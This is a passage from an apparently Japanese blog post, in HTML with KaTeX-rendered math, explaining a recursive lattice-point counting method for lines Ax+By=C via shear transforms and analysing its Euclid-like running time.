&#x6700;&#x5F8C;&#x306B;&#x3001;&#x53F3;&#x5074;&#x306E;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x306E;&#x5883;&#x754C;&#x3092;&#x5EA7;&#x6A19;&#x8EF8;&#x306B;&#x5408;&#x308F;&#x305B;&#x308B;&#x305F;&#x3081;&#x306B;&#x3001;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x5F8C;&#x306E;&#x76F4;&#x7DDA;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x6B63;&#x65B9;&#x5411;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x3060;&#x3051;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3059;&#x308B;&#x3068;&#x3001;&#x65B9;&#x7A0B;&#x5F0F;&#x306F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord">1</span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x3068;&#x306A;&#x308B;&#x3002;<br>
&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;&#x7D50;&#x679C;&#x7684;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span> &#x3064;&#x306E;&#x5B9A;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306F;&#x305D;&#x308C;&#x305E;&#x308C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord">1</span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x3089;&#x308C;&#x308B;&#x3053;&#x3068;&#x306B;&#x306A;&#x308B;&#x3002;<br>
&#x5909;&#x6570;&#x3092;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x305F;&#x5F8C;&#x306B;&#x3001;&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> &#x304B;&#x3089;&#x3084;&#x308A;&#x76F4;&#x3059;&#x3053;&#x3068;&#x3067;&#x518D;&#x5E30;&#x7684;&#x306B;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;</p>
</details><!--kg-card-end: markdown--><h2 id="%E8%A8%88%E7%AE%97%E9%87%8F%E8%A7%A3%E6%9E%90">&#x8A08;&#x7B97;&#x91CF;&#x89E3;&#x6790;</h2><!--kg-card-begin: markdown--><p>&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> &#x306B;&#x3042;&#x308B;&#x901A;&#x308A;&#x3001;&#x624B;&#x9806;&#x3092;1&#x304B;&#x3089;&#x3084;&#x308A;&#x76F4;&#x3059;&#x305F;&#x3073;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span> &#x3064;&#x306E;&#x5B9A;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306F;&#x305D;&#x308C;&#x305E;&#x308C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord">1</span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x3089;&#x308C;&#x308B;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306F;&#x304B;&#x306A;&#x308A;&#x8907;&#x96D1;&#x306B;&#x5909;&#x5316;&#x3057;&#x307E;&#x3059;&#x304C;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x306B;&#x7740;&#x76EE;&#x3059;&#x308B;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x306F;&#x305D;&#x306E;&#x307E;&#x307E;&#x3067;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord cjk_fallback">&#x3092;</span><span class="mord mathnormal">A</span><span class="mord cjk_fallback">&#x3067;&#x5272;&#x3063;&#x305F;&#x3042;&#x307E;&#x308A;</span><span class="mclose">)</span></span></span></span> &#x306B;&#x5909;&#x5316;&#x3057;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x305D;&#x3057;&#x3066;&#x3001;&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x3067;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x3068;&#x306A;&#x308B;&#x3088;&#x3046;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x3092;&#x4EA4;&#x63DB;&#x3059;&#x308B;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x3001;&#x7D42;&#x4E86;&#x6761;&#x4EF6;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> &#x3064;&#x3082;&#x300C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" 